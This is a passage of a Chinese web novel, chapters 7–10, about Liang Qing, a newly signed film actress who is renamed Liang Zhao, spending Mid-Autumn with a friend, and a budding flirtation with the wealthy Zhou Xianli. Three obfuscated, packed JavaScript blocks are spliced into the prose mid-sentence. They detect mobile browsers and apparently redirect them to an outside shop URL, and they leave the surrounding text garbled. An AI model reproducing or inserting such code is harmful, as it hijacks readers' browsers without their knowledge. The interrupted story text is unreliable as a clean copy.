《二流货色》 7. 第 7 章 梁清没有太多一夜暴富的实感。 她还没拿到钱,暂时不敢和家里说,只说她现在签了家公司,要拍电影。 华娱给她派了一位经纪人,就是那天见过的孙明宇,梁清叫他“孙哥”。 孙明宇在圈内很有名气,手底下带过不少艺人,个个大红大紫,他对梁清很和蔼,问梁清有没有什么需要的,都可以和公司提。 这待遇太好,梁清知道,大概率是沾了周显礼的光。 她乐呵呵地说:“没有,我都挺好的,尽量不给公司添麻烦嘛。” 孙明宇挺满意,说:“我平时有点忙,没时间天天带你,过几天公司会给你派一个助理,你如果有合适的人选,比如说朋友啊亲戚之类的,也可以跟公司说。” 梁清点点头,这次倒没说不用。 孙明宇拿了张表给她:“开机前的这段时间,你得上表演课和台词课,这是时间表。公司请了两个北影的老师,跟你一样,都是女同志,人挺好的,你不用害怕,有不懂的就及时问老师,曹导要求高,你非科班出身,拍戏的时候可能会累一点。” 梁清不怕累。 她拿起时间表看,除了周六日之外每天都有课,应该是根据老师的时间来排的,有早有晚。 孙明宇说:“没问题的话,下周就开始上课吧?” 梁清说:“没问题。” 上课前,她还有一段时间的假期。 周二,江畔也到北京了,这天正巧是中秋节。 梁清去车站接她,十月的天,她从南方来,穿的单薄,就一件衬衫,一下车,被北京的秋风吹了个透心凉。 梁清就知道她肯定不穿厚衣服,给她带了件外套。 江畔穿上,扑进她怀里:“清清啊,你怎么这么贴心呢,谁要是娶了你那真是祖上积德了。” 她说话不过脑子,话从舌尖溜出去了,才想起来梁清婚事告吹,又骂了两句妈宝男。 梁清倒是没觉得什么,她这人性格就这样,过去的就过去了。 “对了,”江畔问,“你还没给我说你来北京干什么的呢。” “饿了,”梁清替她拿一个行李箱,“咱先找个地方吃饭,坐下来慢慢说。” “我在网上看见一家炸酱面,据说特好吃,你吃过吗?” “没。” 炸酱面是网红店,他们到的时候,正好是饭点,店里人满为患,梁清和江畔好不容易才在最角落里找到张空桌。 江畔说:“北京不愧是北京,到处都是人。” “广州人不多?也是大城市啊。”梁清研究着菜单,俯身凑进江畔,小声吐槽,“一碗面这么贵啊?” 居然要二十五! 江畔朝服务员一笑,露出一排小白牙:“两碗炸酱面,两瓶芬达,谢谢。”她转过头对梁清说,“我请客!” 梁清说:“还是我来吧。” 江畔说:“不行,我晚上还得住在你那儿,白住多不好意思啊。” 梁清说:“要不你先听听我来北京干什么?” 江畔倒了两杯水,一杯给梁清,一杯端起来,喝了一大口:“干什么?” “拍电影。” 江畔一口水差点喷出来,梁清赶紧抽了几张纸巾给她。 江畔呛了口,捂着嘴不停地咳嗽,咳完说:“你别逗了,拍什么电影,你别是让人骗了吧?” 梁清说:“真的,我已经签完合同了。” “什么合同?不会是说要去国外拍摄然后把你拐到缅北去的那种吧?”江畔忧心忡忡,真的担心她被骗,“我给你说,这年头骗子花样可多了。” 梁清说:“是曹却思的新电影。” 江畔足足十几秒没能说出一个字。 “曹……曹却思?” 她尾调上扬,声音尖锐,就差蹦起来了,周围人都往她们这儿看,梁清赶紧按住她肩膀:“你小点声。” 江畔呆滞地点点头:“曹却思啊,是我知道的那个曹却思吗?” “你知道的是哪个曹却思?” “拍《苏北》的那个!” 梁清说:“我没看过。”她又翻出曹却思的百度词条,确实有这部电影,“应该是吧。” “那你要火了啊!”江畔尽力压低声音,但还是能听出来她很兴奋,“天啊,不过你长得这么漂亮,被大导演看上也是很正常的事情!” 她说着说着,说服了自己:“确实,这也是情理之中。” 梁清哭笑不得,江畔又问:“你能帮我要我偶像的签名吗?” “我不认识他。” 江畔对未来比她更乐观:“以后总会认识的。” 吃完饭,梁清和江畔回家放行李,江畔收拾东西才发现她忘记带很多日用品。 “牙刷、牙膏、梳子、卸妆油,哎呀……”江畔跪在地上,审视被翻的乱糟糟的两个行李箱,“卫生巾也忘记带,我快要来大姨妈了。” 梁清纳闷:“你怎么不把自己也落在广州呢?” “都是些小东西,本来就打算来买新的。”江畔问,“咱们去趟超市吧?再买点菜,晚上我做饭。” 梁清说:“你再看看还有什么要买的,梳子和牙膏都可以先用我的。” “没了没了。”江畔揣上一个小零钱包,揽着梁清胳膊出门。 小区附近就有一家连锁超市,步行五分钟的路程。 梁清推着购物车跟在江畔后面,看她往里面一件件地扔,连价格都不对比,忍不住说:“你少买点,省着点花行不行啊?” 江畔笑得神神秘秘的:“我这次来北京,我妈给我打钱了!而且我住在你那,房租这块儿也省不少。对了,你这里一个月多少钱啊?” “两千五。” 江畔拿起一块肥皂研究味道:“那我A你一半。” “不用,我早就交过了。北京消费高,你光通勤就要花不少钱,你那点钱还是省着用吧。”梁清扫了眼肥皂的价格,从她手里夺走,放回货架上,说,“别买了,家里有。” 江畔说:“亲兄弟还明算账呢,咱俩你就别跟我客气了。” 梁清还想说什么,江畔做了个“停”的手势:“打住打住,不说这个了。” 梁清只好作罢,跟着她走到蔬菜区。 江畔问:“你晚上想吃啥啊?” “炒土豆丝?” “不吃肉?” 梁清说:“最近得控制体重。” “对,你得拍电影,都说上镜胖十斤。不过土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16969798|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆也容易长胖吧?”江畔上下打量她一遍,兀自点点头,“没事儿,你瘦。” 江畔扯了个塑料袋开始挑土豆:“放点青椒炒行吗?” 不做饭的人没有话语权,江畔说什么她都说行。 她看着江畔挑了三个土豆,说能吃两顿,不过江畔拿的塑料袋是一个大的,装三个土豆显得太空旷了。 梁清经常来这个超市买东西,散称区的袋子有两种,一种大的一种小的。 她目光转了一圈,让江畔先等等,走到旁边扯了一个小塑料袋过来,说:“换一个小袋子吧。” 江畔不明所以:“不都一样吗?” 梁清一边把土豆倒进小袋子里一边说:“当然不一样,这家超市称重不去皮,大袋子更贵!” 江畔无语了:“……你怎么还是这么抠门啊!” 梁清拎起一小袋土豆,晃了晃,喜滋滋地说:“节俭是中华民族的传统美德!” 江畔给她竖个大拇指,又去买了些青椒和鸡翅,她说今天过节,得吃好一点。 回家时路过一家蛋糕店,江畔又想吃月饼,进去买了两个。 下午没什么事,江畔就在家收拾行李,梁清躺在沙发上看剧本,都有事情做,嘴上也没闲着。 两个人暑假刚见过面,这也没多久,话题却聊不完,一句赶着一句,有时候能好几个话题混在一起聊,归根结底,梁清觉得还是最近这段时间发生了太多事。 聊到傍晚,江畔的东西没收拾完,梁清的剧本也没看几页,她们俩相视一笑,江畔说:“我去做饭。” “我还想吃煎鸡蛋。” “没问题啊。”江畔钻进厨房。 梁清还是躺在沙发上。 公寓没有阳台,客厅有一扇窗,房东在窗户前搭了晾衣架,梁清刚洗好的衣服还挂在上边。 她往窗外看,天色将暗未暗,一片深蓝中,挂着轮尚还透明的圆月。 梁清有点想家了,东北的天也总是这样的,傍晚时,整座县城都笼在莹莹的蓝光里,空气里一股凛冽的冷味儿。 她扬声喊:“盼盼,你想回家吗?” 江畔端着盘土豆丝出来:“有一点儿,也不知道我爸妈在干什么。” “我爸妈可能回老家了,一会吃完饭打个电话吧。” 江畔说:“我也打。” 这是节啊,中秋节。对于北方人来说,春节和中秋是一年里最重要的两个节日。 梁清解锁手机,给曹却思和孙哥发节日祝福语,她打了一长串,表示感谢,表示祝福,确认没错别字以后才点击发送。 发完,她退出聊天框,在微信消息页里往下滑。 梁清的交友圈很窄。她上完高中,就不怎么和以前的同学联系了,所以微信里人也少,稍微往下一翻,就看见了周显礼。 他们俩是签约那天晚上一起吃饭时加的微信,加上之后,还一句话都没说过。梁清点进去,看见两人的消息停留在通过好友申请后系统自动发送的那句“我是梁清”。 梁清想了想,点进他的朋友圈,一圈空白,疑心周显礼是给她屏蔽了。 她发了句“中秋节快乐”过去,算是试探。 没想到周显礼回复的很快:“在家吗?” 8. 第 8 章 窗外传来几声高高低低的犬吠。 梁清盯着聊天页面愣神,她愣的时间可能太久了,久到周显礼耐心耗尽,直接弹了一通电话过来。 梁清吓了一跳,点接听,捂着听筒小声说话,也不知道在心虚什么。 “周总,中秋节快乐。” 周显礼问:“这会儿有空吗?” 梁清说:“有空。” “到你小区门口等我。” “干什么啊?” 梁清虽然这么问,但人已经从沙发上爬起来了,趿拉着拖鞋往外走。 周显礼笑了声:“你不是随叫随到?” 梁清反而停下脚步了。 她倚在门边的鞋柜上,一手拨弄着卫衣抽绳,觉得周显礼心情还不错,就跟他开玩笑:“那我也要知道去干什么啊,万一你把我哄出去卖了怎么办?” 周显礼心情是真好,低低地笑,他可能在抽烟,一笑就被呛着了,又咳几声,然后才说:“带你出去吃饭,是不是一个人过中秋?” 不是一个人。 梁清抿着唇,往厨房看去,江畔正沿着锅边往里面倒鸡蛋液,她顿觉对不起江畔。 就这么沉默两三秒,周显礼问她:“有人陪?” 他声音幽幽的:“我来的不巧。” “不是。”梁清撒了个小谎,“我在想……咱们去吃火锅行不行?今天有点冷。” 初秋的天,乍冷,白天有太阳时还好,一入夜起了风,北方那种瑟缩的秋意很浓。 这种天气应该是很适合吃火锅的,梁清以前在家也吃过,不过那是家里自己做的,熬一锅骨头汤,猪肉切片,和白菜豆腐之类的放一块煮,等开锅,捞出来蘸麻酱吃。 梁清觉得这么做不好吃。北京的铜锅涮肉很有名,想来应该比自己家做的更好吃。 周显礼说:“好。” 梁清挂掉电话,江畔正好又端了盘青椒煎鸡蛋出来,见她站在门边,问:“你要出去啊?” 梁清小鸡啄米似地不停点头。 “都要吃饭了,出去干啥?” 梁清说:“出去吃饭。” 江畔一撸袖子:“你……!” 梁清赶紧说:“我错了我错了,但我真得出去,我回来给你带零食吃好不好?” 江畔歪着脑袋想了下:“有点想喝酸奶。” 梁清比了个“OK”的手势,换上鞋匆匆走了,她怕周显礼等久了没耐心,一路跑到小区门口的。 黑色奥迪车静静地停在路边,司机下车替她拉开门,梁清说“谢谢”,往里看,才发现周显礼膝上正放着台笔记本电脑,幽幽的蓝光映在他脸上,勾勒出英俊的眉眼。 梁清问:“你在工作啊?” “随便看一点东西。”周显礼招手,“过来。” 招小狗似的。梁清撇撇嘴,往他那边靠近一点,以为他又头疼,想让她按摩,周显礼却抬手在她额头上蹭了蹭。 他轻笑:“跑什么,一头的汗。” 梁清说:“还不是怕你等急了。” 周显礼把电脑合上,放在一边,淡声说:“我着什么急?” 梁清没搭这句话,做回自己位置上,她现在在周显礼的车上已经不那么拘谨了,起码能靠在椅背上,舒舒服服地坐着。 司机发动车子,窗外路灯连成一条线。梁清看了会儿风景,忽然说:“周总,我有件事,想问问您的意见。” 周显礼好整以暇地看着她:“什么?” “公司想给我改名,叫梁昭,您说好听吗?” “为什么改名?” 梁清撇撇嘴:“迷信!孙哥上次要了我的生辰给大师看,说我不能用清这个字,容易爱情事业两难全,要改成昭,王昭君的昭!” 周显礼不知道在想什么,半天没说话。 梁清催他:“到底好不好啊?” 周显礼这才缓缓说:“昭,明也,光也,著也。庙有昭、穆,昭取阳明,穆取阴幽,你既然能担得起这个字,就改吧。” 梁清轻哼一声:“有什么担不起的?让我改成梁曌我也敢!” 周显礼问:“哪个曌?” “武则天的那个曌。” 周显礼乐了:“你还知道这么生僻的字?” 梁清张牙舞爪的:“看不起谁?我也是上过学的!” 周显礼说:“是是,你上过学,上到高中呢。” 他说完这话,过了会儿才发现耳边居然没响起梁清叽叽喳喳的声音,她有一把好嗓子,清脆,讲话时总是带着些很轻易就能让人听出来的讨好,却不惹人烦。 周显礼偏过头去看她,她不理人了,缩成一团,身体微微朝外侧着,霓虹灯从她脸上流过,那张巴掌大的尖尖小脸上头一次出现了难过的神色。 周显礼叫她:“梁清。” 梁清转过头朝他嚷:“我当年考上大学了!我家里要是有钱,我现在也在上学!” 小姑娘居然也会生气。周显礼按着太阳穴,有点头疼:“没上学的这几年都在家做什么?” 梁清也不遮掩:“卖衣服。有一次一个摄影师去大兴安岭旅游,路过我们这,陪他女朋友进来买了件外套,当时他说想给我拍一张照片,没多久曹导就来找我了。” 周显礼语气放柔:“你看看,这都是命中注定的,你要是去上学,曹却思上哪找你,我又怎么认识你?” 梁清眨着眼想了想:“是啊。” 到底是年纪小,脾气来的快去的也快,周显礼又回到之前那个话题:“曌没有昭好听。” “梁曌,梁曌。”梁清念了几遍,说,“是不太顺口。” 这么一念叨,梁清欢欢喜喜地给孙明宇发微信,说她同意改名。 梁清其实也不敢真的跟周显礼生气,她什么身份,周显礼什么身份? 周显礼这样的人不可能道歉,他递个台阶就不错了,更何况,他这个态度,都称得上是哄了。 梁清很识相,顺着这个话题聊下去:“以后你们是不是要叫我梁昭了?” 周显礼问:“你想我叫你什么?” “都可以,不过忽然改名字,我可能不太适应。” 周显礼笑了声:“我叫你……” “昭昭。” 这两个字,周显礼咬的很慢,也很旖旎。 梁清想,他声音真好听,好听到她的心脏都重重地跳了一拍。 她目光闪躲,刻意不去看周显礼,慌乱中居然和司机在后视镜里对上视线,那一眼里有太多她看不明白的东西。 有片刻沉默,梁清在这沉默里不知所措,幸好,司机轻点刹车,火锅店到了。 梁清终于找到东西可看。 这是家四合院,灰瓦朱门,梁上绘牡丹纹样,两盏红灯笼在风里摇曳,照着古朴的青石方砖墙面。 周显礼下车,亲手拉开她那边的车门,把她请下来。 “昭昭,走了。” 梁清轻轻拍开伸到她面前的那只手,掌心相撞的片刻,彼此手心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16969799|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一样的温度。 梁清说:“少来,昭昭昭昭,像长辈叫小孩似的,你少占我便宜。” 周显礼说:“我确实到了能当你长辈的年纪。” 梁清小声问:“周总,您多大呀?” 她觉得这个话题有些冒犯,急忙解释:“我没别的意思,就是您这么说,我有点好奇,毕竟您看起来很年轻。” “看起来年轻吗?” “嗯!”梁清重重地点头,竭力让自己看起来很真诚,“年轻有为!” 周显礼没说话。 侍应生领他们穿过连廊,到一处包厢,这里的装修都是很中式的那种,漆红的门窗、黄花梨的桌椅、景泰蓝的铜锅。 看上去一点儿也不像火锅店。 周显礼不喜人打扰,让他们随便上点吃的,就把人打发走了。 他亲自替梁清拉椅子,才说:“我比你大九岁。” 梁清算了算,他竟三十了。 梁清笑弯了眼:“和我哥差不多大,他都还在领我奶奶的压岁钱,你怎么把自己说的像多大年纪了一样。” “比起你来说年纪是算大了。” 梁清很狗腿地说:“哪里哪里,您这个年龄正正好,成熟稳重有魅力,都怪我生的太晚了。” 周显礼居然很受用,勾着唇无声地笑。 门又“吱呀”一声被推开,侍应生来上菜,周显礼问她:“吃不吃辣?” 梁清说:“吃啊。” 侍应生就在她手边放了一碟辣椒油,她看周显礼那儿没有,猜测他口味淡。 因是中秋,店里还送了几粒月饼,传统的酥皮月饼,五仁馅,周显礼捏了一小块喂到她嘴边。 “好甜。” 周显礼拍掉手指上沾的碎屑:“不爱吃甜的?” 侍应生出去,关上门,轻轻的一声。包厢里就剩他们俩了,梁清说:“很喜欢。” 很绵密的口感,五仁是真五仁,坚果油香油香的。但她说喜欢,好像也不只是说月饼。 梁清垂下眸看桌子,心脏越跳越快。周显礼待她太亲密太温柔了些,她不清楚这是不是正常的,还是说,他对谁都这样? 周显礼说她小孩子似的,梁清长长地嘁了一声。 清水很快开了,咕嘟咕嘟的,飘起袅袅水雾,她隔着这层雾,悄悄抬眼看周显礼,发现他也正在回望着她。 梁清提醒他:“锅开了。” 周显礼才收回视线,夹了一夹子肉丢进锅里。 这个天气确实很适合吃火锅,梁清边吃边和周显礼聊天,心里胃里都热乎乎的。 等吃完饭,梁清一看,窗上一片雾蒙蒙的,外面黄铜色的圆月也融在这上面,模糊一片。 梁清擦去湿淋淋的水汽,看清了月亮。 周显礼送她回家,她让车停在小区外的便利店门口,说要去买一盒酸奶。 下了车,周显礼落下车窗,递给她一盒东西。 “什么呀?”梁清想拆开看看,但方形盒子用一条细麻绳系着,还打了个蝴蝶结,她轻轻拽了下,没拽开。 “月饼。”周显礼说,“昭昭,中秋节快乐。” 梁清抿着唇,嘴角还是不受控制地上扬。她什么也没说,转身跑进便利店里。 梁清一口气跑到放酸奶的冰柜前,才回眸,周显礼的车已经开走了。她晃了晃手里的月饼,从玻璃倒影上看见自己唇边的笑。 那夜一定没有风,只有那样好的月光,照的梁清眼前都有些亮堂堂的。 9. 第 9 章 双节假期结束后,江畔正式开始实习,梁清也开始上表演课。 她只要去公司,大家就叫她梁昭,原本她也没来几天,大家叫“梁昭”叫的更顺口,可她自己就不适应,偶尔孙哥叫她,她都得反应半天。 梁清让江畔也叫自己“梁昭”。 梁昭梁昭地叫了一段时间,加上周显礼带她出去,也总是叫“昭昭”,她终于把这个名字听顺耳了。 梁昭一共上两门课,台词和表演,她此前从来没有接触过这一行,也没受过系统的训练,所有的课程都要从最基础的开始学。 表演课的老师姓陈,三十六七岁,一头黑色长发,妆容精致,会根据当天的衣服来搭配首饰,经常一身闪亮亮的。 有一次下课,陈老师还顺路载梁昭到地铁站,车门一开一关,进来一只小飞虫,陈老师说:“把它赶出去吧。” 梁昭伸手按车窗升降的开关。 陈老师斜斜地晲了她一眼,说:“你不要动,我来按。” 她从驾驶座的按钮落下车窗,梁昭挥挥手,小飞虫就出去了。 梁昭抿下唇,没有再动车上的任何东西,双手规规矩矩地放在腿上。 陈老师其实从不说难听的话,甚至很有礼貌,但梁昭就是能从她身上看到一种高高在上的蔑视,俗称“看不起”。 她们穷人对于“看不起”是很敏感的,那是一种丝丝缕缕的,虽然摸不着却像寒冬的冷空气一样无孔不入的东西。 幸好梁昭的课只有两个月,她不在乎这些,更想真的学到点东西,下了课还回家看电影。 梁昭在网上找了张“一生必看的一百部电影”清单,一天一部,揣摩演员的动作、神态和心理。 第六天看到一部很有名的华语电影,导演居然是曹却思,她格外专注,还叫江畔陪她一起看。 电影一共两个多小时,看完以后江畔很迷茫地问她:“你看懂了吗?” 梁昭摇头:“没有。” 好像是讲什么婚外情的?但是男主的太太出场次数很少,台词很隐晦,色调又灰又绿的,很复古,像是在香港。 梁昭栽进沙发里,愁容满面:“我好像没有这个艺术天份。” 江畔一张嘴就是:“清清啊……” 梁昭说:“叫我梁昭!” “好,昭昭啊,”江畔特真诚地说,“我觉得以咱俩的水平,看不懂才是正常的。” 她们俩什么水平?一个高中毕业,一个二本在读。 梁昭乐了,深以为然。 江畔抱着电脑做PPT去了,梁昭还躺在沙发上,对着天花板愣神。她一听到“昭昭”,就想到周显礼。 周显礼这几天都没联系她,也不知道在做什么。他那样的人,想必很忙? 梁昭翻出微信,想从他朋友圈里窥得蛛丝马迹,但那里面仍然一片空白。想发条消息问候,又找不到由头。 梁昭叹了口气,胳膊垂到地上。 她最终也没给周显礼发消息,默默地等一个时机。 北京的秋天很短,十月下旬又下了一场雨,气温骤降至十几度,梁昭出门都要穿件厚实些的外套。 也是在月底那几天,她收到了一部分片酬。 按照合约规定,她会在签约、杀青和电影正式上映三个阶段各拿到一部分片酬。 和公司分账后,她拿到的第一笔钱有二十万,除去扣掉的税务,还剩十几万。梁昭对着银行卡入账短信看了半天,时不时就登录银行app看一眼余额,数有几位数,抱着手机傻乐。 她还从来没见过这么多钱,高兴了好一阵子,给关红转了十万过去。 关红吓得给她打电话:“清清,你哪来这么多钱?” “我的片酬啊。” 关红惊叹:“这么多!” 梁昭正要去上表演课,站在玄关,用肩膀和耳朵夹着手机,边换鞋子边很臭屁地说:“妈,你别大惊小怪的,这只是一部分,电影还没开机,后面还有尾款呢!” 关红“哎呀哎呀”地,开始说她小时候,算命的就说她命里财运好,能发大财。 梁昭心里美得要飞起来了,出了门,往地铁站走,脚步很轻快。 天气虽然不好,可她的前途一片光明啊! “你以前都没跟我说过。” 关红说:“你小孩子,我跟你说这个干什么?” 母女俩又闲聊几句,梁昭走到地铁站了,要挂电话,关红说:“你的钱妈不花,妈都给你存着,等你以后结婚了再给你。” 梁昭说:“不用,钱就是给你们花的。你不是羡慕我大姨的金镯子吗?自己也买一个去!挑重的买。” “现在金价那么贵,买那玩意儿干什么。”关红口是心非,“我跟你爸在家花不着多少钱,倒是你一个人在大市里,到处都需要用钱,你自己留了吗?还有啊,导演提携你,你别忘了给导演送点礼。” 关红管大城市叫大市,她上到小学五年级就退学了,对很多词一知半解,有自己的叫法。 梁昭嘴上应:“知道啦知道啦,快挂了吧,我要进地铁站了。” 关红又嘱咐几句吃好喝好休息好才挂电话。 正是上班的高峰期,地铁站人特别多,梁昭挤在人流里下台阶,想起最近在网上看到的优惠,线上领了几张全国通用地铁券,满五减二,喜滋滋地刷码进站。 等地铁的时候,梁昭给周显礼发了条微信,说她拿到第一笔片酬了,想请他吃饭,问他今天有没有时间。 按下发送键的瞬间,“呼啦”一声,地铁进站,梁昭往车里扫了一眼,黑压压的全是人头。 这个时间段,上下地铁都是一场大战,她把手机放进包里,拉好拉链,瞄准时机挤了进去。 地铁里没有阳光,到处是人造光,总给人阴冷之感。梁昭抓着扶手,挤在各色的上班族之间,目光从线路图晃到窗外。 一幅幅巨大的广告牌在她眼前划过。 那是一支口红广告,明艳大方的女性将一支烟粉色的口红抵在唇前,整体的色调很明亮很干净,处处彰显着高级感。 这位女星,曾经也是曹却思的女主角。梁昭隔着车窗玻璃和她对视,缓缓勾起唇角。 等到出站,梁昭才有机会看手机,发现周显礼早就回复了,问她几点。 梁昭咬着嘴唇想了想:“我的课上到十一点半,等我下课就去可以吗?我最近在控制体重,晚上不能吃太多东西。” 周显礼没立刻回复,梁昭走进华娱大楼,等电梯。 她总记挂着和周显礼的对话,怕他拒绝,心里有几分忐忑,时不时就看一眼手机,正犹豫要不要再发一条微信问问,身后有人叫她。 “梁昭?” 梁昭回头,笑了笑:“陈老师,早上好。” “还真是你啊,这么巧。”陈老师扯了下唇角,露出一个要笑不笑的表情。 梁昭没有再说话,手机轻轻嗡一声,她点开看,果然是周显礼,说一会儿去接她下课。 梁昭:“好的,谢谢您。” 电梯到了,梁昭和陈老师一起走进去,她还盯着手机,盯着周显礼那句话。 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16969800|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师忽然狐疑地问:“梁昭,你没有谈恋爱吧?” 梁昭一愣,抬眸,从光可鉴人的梯门望见自己的倒影。 她笑的都咧开花了。 “没有没有,”梁昭关掉手机,赶紧否认,“刚才看了个笑话。” 陈老师说:“那就好。做你们这行的还是不能太早谈恋爱。” 这话是很善意的提醒,梁昭有些感动,忙不迭点头:“嗯嗯,我知道了,谢谢老师。” 表演课上两个半小时,中途休息的时候,梁昭原本想找陈老师探讨她在网上看到的一个规定情境应该怎么演,只是喝了口水,人就不见了。 梁昭晃晃水杯,快没水了,起身,溜达去茶水间。 远远的,梁昭看见陈老师和人在茶水间聊天。 “曹导从哪里找到这么个人的啊?” “听说是他的摄影师去东北遇见的。” 陈老师嗤一声轻笑:“脸和身材么是不错,就是别的地方都太差了,村姑一样,是不是都没上过学?” “没上过大学。” 她又笑了声:“全国的文盲都来闯娱乐圈了。” “哎……”另一人轻轻碰了她一下,提醒,“她来签约的时候,可是周总陪着的。” “哪个周总?” “还有哪个,跟老板是发小的那个。” 陈老师一声“哦”叹的千回百转,几分惊讶,几分了然。 梁昭拎着水杯慢吞吞往回走。 她心态好,几句不痛不痒的八卦影响不了什么,等十一点半下课,她对陈老师鞠躬说“老师再见”,飞一样跑了。 周显礼那辆黑色奥迪正停在华娱楼下,梁昭轻车熟路地拉开车门,一上车就说:“周总,咱们去吃自助吧?” 梁昭什么都想吃,自助餐种类齐全,很合适。 周显礼挑了下眉:“吃什么?” “自助啊。”梁昭给他看自己的手机,“这一家,很贵的,两个人要一千多!不过我在咸鱼上买券,能便宜一点。” 周显礼问:“咸鱼是什么?” “一个二手平台,上面什么都有。” 周显礼点点头:“哦,那去吧。” 其实后来想想,那大概是周显礼第一次去这种自助餐厅。 但当时梁昭很高兴,指着唇边让周显礼看。 周显礼盯着她看了会儿,说:“没东西。” 梁昭说:“以前有一颗小痣,后来点掉了。” 没头没尾的对话,周显礼笑笑。 梁昭没跟他说,按她老家的说法,唇边有痣的人嘴馋,所以关红在很小的时候就带她去点掉了。 但她还是馋,赚到钱狠狠心就会奖励自己吃自助。 梁昭觉得这家应该会比她以前吃的那些都好,这可是她精挑细选出来的,价格还那么贵。 她一进餐厅,就像老鼠掉进米缸,把周显礼都忘了,端着盘子穿梭在食物之间。 周显礼胃口一般,吃得少,多数时候就是看梁昭吃。梁昭风卷残云般地大吃特吃,快饱了,准备去拿点甜品溜溜缝的时候,一抬头见周显礼看着她笑。 她不好意思了:“我是不是很能吃啊?” 周显礼抽了张纸,擦她油亮亮的唇角,轻笑:“我们昭昭有口福。” 当老家的亲戚都指责她太馋,只有周显礼会说,她有口福。那是后来很久梁昭依旧忘不了的一瞬间。 她像一张白纸,周显礼在纸上做什么画,她就会给什么样的回应。 梁昭一偏头,唇瓣擦过周显礼的手背。 10. 第 10 章 周显礼动作一顿,也没想到小姑娘这样大胆。他丢掉纸巾,拇指在梁昭唇上轻轻一按。 她的唇像某种丰硕的花朵,只这样轻轻揉一下,就显出一朵花开到最盛的颜色,仿佛还能碾出甜美的汁水。 梁昭瞪大眼睛看他,察觉到他眼底淬出的欲望,又烧红了脸,拍开他的手,捧着杯子小口小口地啜饮。 餐厅里在放歌吗?柔和的乐声像从天边远远地传过来,有些模糊。 一时没人说话,梁昭听见周显礼轻轻笑了声,叫她:“昭昭……” 他尾音含叹,言犹未尽,梁昭等他下半句话,握着杯子的手更用力了。 周显礼却一顿,换成闲谈的口气:“吃饱了吗?” 梁昭心底松一口气,又翻涌上来几分失落。她放下杯子,两条细细长长的胳膊搭在桌沿上,反问他:“你吃饱了吗?” 一顿饭没见他吃多少东西,只完完整整吃了碗阳春面。梁昭默默记下来,下次不带他来,太亏了,还是得带江畔一起。 周显礼点一记头。 梁昭说:“那走吧,我也不能再吃了,这一顿要胖两斤,最近几天都白折腾了。” 周显礼一直不满意她要减肥,蹙起眉说:“你已经很瘦了。” “孙哥说上镜胖十斤!” “他吓唬你的。” “是么?”梁昭也不懂,但她很听经纪人的话,“不过我还是去运动运动吧,孙哥说减肥也不能只靠节食。” 周显礼掀起眼皮觑她:“孙哥,叫这么亲?”到现在她还叫他周总。 梁昭含笑回望,不说话。 周显礼先觉得没趣儿,叹口气,揭过这个话题:“带你去打球好不好?” “打什么球?” 周显礼说:“高尔夫。” 梁昭赧然地说:“啊……可我只会打羽毛球。” 她说的运动,无非就是绕着小区跑几圈步,一分钱都不用花,像高尔夫这种一听就很高档的运动,从前她只在电视上看过。 周显礼说:“没事,我教你。” 梁昭点亮手机屏幕看时间,这才不到两点,还有一整个下午的时光用来浪费,不做点什么确实可惜了。 她点点头:“好啊,那你要认真教我。” 梁昭站起来,弯腰收拾东西,手机、纸巾都放进包里,周显礼在一旁等她,很自然地捞起她垂落的头发,问:“我什么时候对你不认真了?” 梁昭拉好拉链,回眸看他,粲然一笑,说:“那快走吧。” 她试探,周显礼也试探,你进一步我退一步的,周显礼不给她的回应,她也不给周显礼。 明明她才二十一岁,这些东西却好像无师自通一样。 高尔夫球场有些远,周显礼今天出门没带司机,亲自开车,开了一个多小时,梁昭缩在他的副驾驶座上犯困,到球场时,差点真的睡过去。 周显礼轻轻拍她的手背,这种叫醒的方式很温柔,不会叫人吓一跳。梁昭迷蒙地睁开眼:“到啦?” 周显礼说:“里面有休息的地方,要不要先带你去睡一会儿?” 梁昭打了个哈欠,慢吞吞地回答:“不要,我走一走就不困了。” “睡一会儿”,这个词太暧昧太危险了,梁昭才不去。 周显礼都依她,先叫人领她去更衣室换衣服,然后带她去练习场玩了一会儿。 梁昭是真第一次接触这项运动,什么都不会,周显礼一点点地教她,从正确的姿势,到起杆挥杆,他都手把手地教,请了个教练,在一旁像摆设。 周显礼站在梁昭侧后方,握着她手腕,带她起杆:“左肩低一点,手腕不要动,跟着我做……” 他比梁昭高很多,这样一个姿势,把梁昭整个人都虚虚拢在了怀里。 梁昭能感觉到后背贴着他的胸膛,隔着两层布料,彼此的体温还是那么清晰。 梁昭心不在焉地跟着他动,觉得好像能感受到他强劲有力的脉搏。 